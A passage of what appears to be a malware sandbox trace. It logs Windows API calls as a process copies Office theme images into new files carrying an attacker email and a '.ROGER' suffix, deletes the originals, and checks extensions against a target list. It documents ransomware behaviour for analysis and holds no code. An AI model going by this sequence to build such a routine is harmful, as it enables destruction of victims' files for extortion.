SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.322] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.323] GetLastError () returned 0x0 [0048.323] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x143b, lpOverlapped=0x0) returned 1 [0048.325] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x1440, lpOverlapped=0x0) returned 1 [0048.326] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.326] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.326] SetEndOfFile (hFile=0x3a0) returned 1 [0048.326] CloseHandle (hObject=0x3a0) returned 1 [0048.326] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.326] SetEndOfFile (hFile=0x358) returned 1 [0048.327] CloseHandle (hObject=0x358) returned 1 [0048.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0048.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.327] lstrlenW (lpString=".doc") returned 4 [0048.327] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.327] lstrlenW (lpString=".docx") returned 5 [0048.327] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.328] lstrlenW (lpString=".pdf") returned 4 [0048.328] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.328] lstrlenW (lpString=".xls") returned 4 [0048.328] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.328] lstrlenW (lpString=".xlsx") returned 5 [0048.328] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.328] lstrlenW (lpString=".ppt") returned 4 [0048.328] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.328] lstrlenW (lpString=".zip") returned 4 [0048.328] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.328] lstrlenW (lpString=".rar") returned 4 [0048.328] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.328] lstrlenW (lpString=".bz2") returned 4 [0048.328] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.328] lstrlenW (lpString=".7z") returned 3 [0048.328] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.328] lstrlenW (lpString=".dbf") returned 4 [0048.328] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.328] lstrlenW (lpString=".1cd") returned 4 [0048.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.328] lstrlenW (lpString=".jpg") returned 4 [0048.328] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.328] lstrlenW (lpString=".doc") returned 4 [0048.328] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.328] lstrlenW (lpString=".docx") returned 5 [0048.328] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.329] lstrlenW (lpString=".pdf") returned 4 [0048.329] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.329] lstrlenW (lpString=".xls") returned 4 [0048.329] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.329] lstrlenW (lpString=".xlsx") returned 5 [0048.329] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.329] lstrlenW (lpString=".ppt") returned 4 [0048.329] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.329] lstrlenW (lpString=".zip") returned 4 [0048.329] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.329] lstrlenW (lpString=".rar") returned 4 [0048.329] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.329] lstrlenW (lpString=".bz2") returned 4 [0048.329] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.329] lstrlenW (lpString=".7z") returned 3 [0048.329] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.329] lstrlenW (lpString=".dbf") returned 4 [0048.329] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.329] lstrlenW (lpString=".1cd") returned 4 [0048.329] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.329] lstrlenW (lpString=".jpg") returned 4 [0048.329] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.329] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.329] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.330] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=33559) returned 1 [0048.330] CloseHandle (hObject=0x358) returned 1 [0048.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0048.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.330] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.330] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.331] GetLastError () returned 0x0 [0048.331] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x8317, lpOverlapped=0x0) returned 1 [0048.333] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x8320, lpOverlapped=0x0) returned 1 [0048.334] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.334] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.335] SetEndOfFile (hFile=0x3a0) returned 1 [0048.335] CloseHandle (hObject=0x3a0) returned 1 [0048.335] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.335] SetEndOfFile (hFile=0x358) returned 1 [0048.336] CloseHandle (hObject=0x358) returned 1 [0048.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.336] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0048.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.336] lstrlenW (lpString=".doc") returned 4 [0048.336] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.336] lstrlenW (lpString=".docx") returned 5 [0048.336] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.336] lstrlenW (lpString=".pdf") returned 4 [0048.336] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.336] lstrlenW (lpString=".xls") returned 4 [0048.336] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.336] lstrlenW (lpString=".xlsx") returned 5 [0048.336] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.337] lstrlenW (lpString=".ppt") returned 4 [0048.337] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.337] lstrlenW (lpString=".zip") returned 4 [0048.337] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.337] lstrlenW (lpString=".rar") returned 4 [0048.337] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.337] lstrlenW (lpString=".bz2") returned 4 [0048.337] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.337] lstrlenW (lpString=".7z") returned 3 [0048.337] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.337] lstrlenW (lpString=".dbf") returned 4 [0048.337] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.337] lstrlenW (lpString=".1cd") returned 4 [0048.337] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.337] lstrlenW (lpString=".jpg") returned 4 [0048.337] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.337] lstrlenW (lpString=".doc") returned 4 [0048.337] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.337] lstrlenW (lpString=".docx") returned 5 [0048.337] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.337] lstrlenW (lpString=".pdf") returned 4 [0048.337] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.337] lstrlenW (lpString=".xls") returned 4 [0048.337] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.337] lstrlenW (lpString=".xlsx") returned 5 [0048.337] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.338] lstrlenW (lpString=".ppt") returned 4 [0048.338] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.338] lstrlenW (lpString=".zip") returned 4 [0048.338] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.338] lstrlenW (lpString=".rar") returned 4 [0048.338] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.338] lstrlenW (lpString=".bz2") returned 4 [0048.338] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.338] lstrlenW (lpString=".7z") returned 3 [0048.338] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.338] lstrlenW (lpString=".dbf") returned 4 [0048.338] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.338] lstrlenW (lpString=".1cd") returned 4 [0048.338] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.338] lstrlenW (lpString=".jpg") returned 4 [0048.338] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.338] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.338] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.339] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2476) returned 1 [0048.339] CloseHandle (hObject=0x358) returned 1 [0048.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0048.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.339] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.339] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.341] GetLastError () returned 0x0 [0048.341] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x9ac, lpOverlapped=0x0) returned 1 [0048.344] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0048.345] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.345] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.345] SetEndOfFile (hFile=0x3a0) returned 1 [0048.345] CloseHandle (hObject=0x3a0) returned 1 [0048.345] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.345] SetEndOfFile (hFile=0x358) returned 1 [0048.346] CloseHandle (hObject=0x358) returned 1 [0048.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.346] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0048.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.347] lstrlenW (lpString=".doc") returned 4 [0048.347] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.347] lstrlenW (lpString=".docx") returned 5 [0048.347] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.347] lstrlenW (lpString=".pdf") returned 4 [0048.347] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.347] lstrlenW (lpString=".xls") returned 4 [0048.347] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.347] lstrlenW (lpString=".xlsx") returned 5 [0048.347] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.347] lstrlenW (lpString=".ppt") returned 4 [0048.347] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.347] lstrlenW (lpString=".zip") returned 4 [0048.347] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.347] lstrlenW (lpString=".rar") returned 4 [0048.347] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.347] lstrlenW (lpString=".bz2") returned 4 [0048.347] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.347] lstrlenW (lpString=".7z") returned 3 [0048.347] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.347] lstrlenW (lpString=".dbf") returned 4 [0048.347] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.347] lstrlenW (lpString=".1cd") returned 4 [0048.347] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.348] lstrlenW (lpString=".jpg") returned 4 [0048.348] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.348] lstrlenW (lpString=".doc") returned 4 [0048.348] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.348] lstrlenW (lpString=".docx") returned 5 [0048.348] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.348] lstrlenW (lpString=".pdf") returned 4 [0048.348] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.348] lstrlenW (lpString=".xls") returned 4 [0048.348] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.348] lstrlenW (lpString=".xlsx") returned 5 [0048.348] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.348] lstrlenW (lpString=".ppt") returned 4 [0048.348] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.348] lstrlenW (lpString=".zip") returned 4 [0048.348] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.348] lstrlenW (lpString=".rar") returned 4 [0048.348] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.348] lstrlenW (lpString=".bz2") returned 4 [0048.348] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.387] lstrlenW (lpString=".7z") returned 3 [0048.387] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.387] lstrlenW (lpString=".dbf") returned 4 [0048.387] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.389] lstrlenW (lpString=".1cd") returned 4 [0048.397] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0048.397] lstrlenW (lpString=".jpg") returned 4 [0048.404] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.404] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.404] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.601] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=44850) returned 1 [0048.601] CloseHandle (hObject=0x340) returned 1 [0048.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0048.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.602] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: 